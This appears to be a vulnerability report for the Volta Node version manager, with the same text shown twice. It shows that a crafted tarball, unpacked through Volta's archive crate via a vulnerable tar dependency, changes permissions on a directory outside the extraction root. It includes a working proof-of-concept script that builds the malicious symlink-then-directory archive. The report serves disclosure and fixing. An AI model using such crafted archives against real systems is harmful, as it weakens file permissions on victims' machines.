Volta locks vulnerable tar crate version and its Node archive unpack path can chmod outside the extraction root
Summary
Volta currently locks the Rust tar crate at 0.4.38, which is in the affected range for CVE-2026-33056 / RUSTSEC-2026-0067. The Volta archive crate calls tar::Archive::unpack(dest) for Unix Node distribution tarballs, and I can reproduce the CVE behavior through Volta's own crates/archive API: a crafted tarball changes permissions on a directory outside the chosen extraction root.
I fetched origin/main on 2026-06-19 and tested the latest upstream commit:
5eedd5fb2f682baceb47a242289111fcd79435a5 (2025-11-15T08:59:36-07:00)
Details
Relevant code path:
Cargo.lock lines 1445-1449: tar is locked to 0.4.38.
crates/archive/src/tarball.rs lines 60-68: Tarball::unpack() wraps the gzip stream in tar::Archive::new(decoded) and calls tarball.unpack(dest).
crates/volta-core/src/tool/node/fetch.rs lines 91-109: Node distribution archives are unpacked into a staging directory by calling archive.unpack(temp.path(), ...).
crates/volta-core/src/tool/node/fetch.rs line 142: the cached distro path still has a TODO comment for checksum verification.
crates/volta-core/src/tool/node/fetch.rs lines 152-167: a node.distro hook can determine the Node distribution URL; otherwise Volta uses https://nodejs.org/dist.
Root cause:
Volta delegates Unix tarball extraction to tar 0.4.38. In tar versions 0.4.44 and below, a tar archive containing a symlink entry followed by a directory entry with the same name can cause tar to follow the symlink and apply directory permissions to the symlink target outside the extraction root. Since Volta calls the affected tar::Archive::unpack() path for Node tarballs, the dependency vulnerability is reachable through Volta's archive abstraction.
References:
Reproduction
This reproducer uses a fresh checkout and calls the real archive::Tarball::unpack() API. It creates a tar.gz with two entries:
chmod_target as a symlink to outside-dir
chmod_target/ as a directory entry with mode 0777
set -euo pipefail
git clone https://github.com/volta-cli/volta.git volta-repro
cd volta-repro
git checkout 5eedd5fb2f682baceb47a242289111fcd79435a5
mkdir -p crates/archive/examples
cat > crates/archive/examples/cve_33056.rs <<'RS'
use archive::Tarball;
use std::env;
use std::fs::File;
use std::os::unix::fs::PermissionsExt;
use std::path::Path;
fn mode(path: &Path) -> u32 {
std::fs::metadata(path).unwrap().permissions().mode() & 0o777
}
fn main() {
let args: Vec<String> = env::args().collect();
let archive_path = Path::new(&args[1]);
let dest = Path::new(&args[2]);
let outside = Path::new(&args[3]);
println!("BEFORE_MODE={:o}", mode(outside));
let archive = Tarball::load(File::open(archive_path).unwrap()).unwrap();
archive.unpack(dest, &mut |_, _| {}).unwrap();
println!("AFTER_MODE={:o}", mode(outside));
println!(
"DEST_LINK_IS_SYMLINK={}",
std::fs::symlink_metadata(dest.join("chmod_target"))
.unwrap()
.file_type()
.is_symlink()
);
}
RS
tmp="$(mktemp -d)"
cleanup() {
rm -rf "$tmp"
}
trap cleanup EXIT
mkdir -p "$tmp/src" "$tmp/out" "$tmp/outside-dir"
chmod 700 "$tmp/outside-dir"
ln -s ../outside-dir "$tmp/src/chmod_target"
python3 - "$tmp/poc.tar.gz" "$tmp/src/chmod_target" <<'PY'
import io
import sys
import tarfile
archive_path, link_path = sys.argv[1], sys.argv[2]
with tarfile.open(archive_path, "w:gz") as tar:
link = tarfile.TarInfo("chmod_target")
link.type = tarfile.SYMTYPE
link.linkname = "../outside-dir"
link.mode = 0o777
tar.addfile(link)
directory = tarfile.TarInfo("chmod_target")
directory.type = tarfile.DIRTYPE
directory.mode = 0o777
tar.addfile(directory)
PY
cargo run \
--manifest-path crates/archive/Cargo.toml \
--example cve_33056 \
-- "$tmp/poc.tar.gz" "$tmp/out" "$tmp/outside-dir"
cargo tree --manifest-path crates/archive/Cargo.toml -i tar
Expected Behavior
Unpacking a tarball into a staging directory should not change permissions on directories outside that staging directory. Volta should either use a patched tar crate version or add extraction guards that prevent symlink-target metadata changes outside the extraction root.
Observed Behavior
The outside directory starts as mode 0700 and ends as mode 0777 after Volta's Tarball::unpack() returns:
BEFORE_MODE=700
AFTER_MODE=777
DEST_LINK_IS_SYMLINK=true
tar v0.4.38
This reproduces the CVE-2026-33056 primitive through Volta's current archive crate.
Impact
A malicious Node distribution tarball processed by Volta can change permissions on a directory outside Volta's extraction root. In normal operation Volta downloads Node distributions from https://nodejs.org/dist, but Volta also supports a node.distro hook for the distribution URL and has cached archive loading paths. The practical risk is highest when a malicious or compromised distribution source, cache entry, or configured distro hook supplies the tarball.
Suggested Fix Direction
- Upgrade
tar to 0.4.45 or later.
- Add a regression test in
crates/archive for the symlink-then-directory tarball shape above.
- Consider enforcing extraction-root containment before applying metadata from archive entries, especially for symlinks and hardlinks.
Volta locks vulnerable
tarcrate version and its Node archive unpack path can chmod outside the extraction rootSummary
Volta currently locks the Rust
tarcrate at0.4.38, which is in the affected range forCVE-2026-33056/RUSTSEC-2026-0067. The Volta archive crate callstar::Archive::unpack(dest)for Unix Node distribution tarballs, and I can reproduce the CVE behavior through Volta's owncrates/archiveAPI: a crafted tarball changes permissions on a directory outside the chosen extraction root.I fetched
origin/mainon 2026-06-19 and tested the latest upstream commit:5eedd5fb2f682baceb47a242289111fcd79435a5(2025-11-15T08:59:36-07:00)Details
Relevant code path:
Cargo.locklines1445-1449:taris locked to0.4.38.crates/archive/src/tarball.rslines60-68:Tarball::unpack()wraps the gzip stream intar::Archive::new(decoded)and callstarball.unpack(dest).crates/volta-core/src/tool/node/fetch.rslines91-109: Node distribution archives are unpacked into a staging directory by callingarchive.unpack(temp.path(), ...).crates/volta-core/src/tool/node/fetch.rsline142: the cached distro path still has a TODO comment for checksum verification.crates/volta-core/src/tool/node/fetch.rslines152-167: anode.distrohook can determine the Node distribution URL; otherwise Volta useshttps://nodejs.org/dist.Root cause:
Volta delegates Unix tarball extraction to
tar0.4.38. Intarversions0.4.44and below, a tar archive containing a symlink entry followed by a directory entry with the same name can causetarto follow the symlink and apply directory permissions to the symlink target outside the extraction root. Since Volta calls the affectedtar::Archive::unpack()path for Node tarballs, the dependency vulnerability is reachable through Volta's archive abstraction.References:
Reproduction
This reproducer uses a fresh checkout and calls the real
archive::Tarball::unpack()API. It creates atar.gzwith two entries:chmod_targetas a symlink tooutside-dirchmod_target/as a directory entry with mode0777Expected Behavior
Unpacking a tarball into a staging directory should not change permissions on directories outside that staging directory. Volta should either use a patched
tarcrate version or add extraction guards that prevent symlink-target metadata changes outside the extraction root.Observed Behavior
The outside directory starts as mode
0700and ends as mode0777after Volta'sTarball::unpack()returns:This reproduces the CVE-2026-33056 primitive through Volta's current archive crate.
Impact
A malicious Node distribution tarball processed by Volta can change permissions on a directory outside Volta's extraction root. In normal operation Volta downloads Node distributions from
https://nodejs.org/dist, but Volta also supports anode.distrohook for the distribution URL and has cached archive loading paths. The practical risk is highest when a malicious or compromised distribution source, cache entry, or configured distro hook supplies the tarball.Suggested Fix Direction
tarto0.4.45or later.crates/archivefor the symlink-then-directory tarball shape above.